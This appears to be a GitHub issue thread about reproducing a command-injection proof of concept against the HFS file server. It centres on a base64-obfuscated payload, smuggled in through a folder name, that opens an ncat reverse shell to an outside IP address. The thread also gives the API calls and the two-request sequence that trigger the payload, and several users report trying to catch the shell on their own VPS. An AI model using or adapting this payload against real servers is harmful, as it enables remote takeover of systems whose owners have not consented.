Closed ghost closed 3 months ago
Example payload: payload: poc";python3 -c "import os;import base64;os.system(base64.b64decode('bmNhdCAxOTIuMTkyLjEwMS4xIDQ0NDQgLWUgL2Jpbi9iYXNo'))
I use endpoint ~/api/create_folder create folder with name payload It is endpoint ~/api/get_ls?path={{name folder }} => execute command df Referer: https://github1s.com/rejetto/hfs/blob/v0.52.9/src/util-os.ts#L10 Referer: https://github.com/rejetto/hfs/compare/v0.52.9...v0.52.10
Thanks
Yes, I understand what you mean and I have seen the error in the server log, such as: /bin/bash -c error: df /k '"poc;xxxxx" But I still can't bounce the shell to my vps.
I would like to confirm the following information with you:
Note: Payload is directory name exist , If the directory does not exist, you need to send the request twice. In the video, because a directory with the name contain payload already exists on the HFS server, I only need to send the request once
Thanks for your answer I will try again your way! thank you for your help
I reproduced successfully!
thanks for your help!
I cannot execute the payload at endpoint /~/api/get_ls?path=
But I succeeded through the PUT method in your video! Thank you very much for helping me! Thanks!
First of all, hello, thank you very much for your POC. But there is no response when verifying through your POC Through my packet capture test, I found that the payload you provided cannot bypass the single quotes in the mkdir '' method of the ~/api/create_folder API address. The final data requested by GET is data:
Hope you can test it again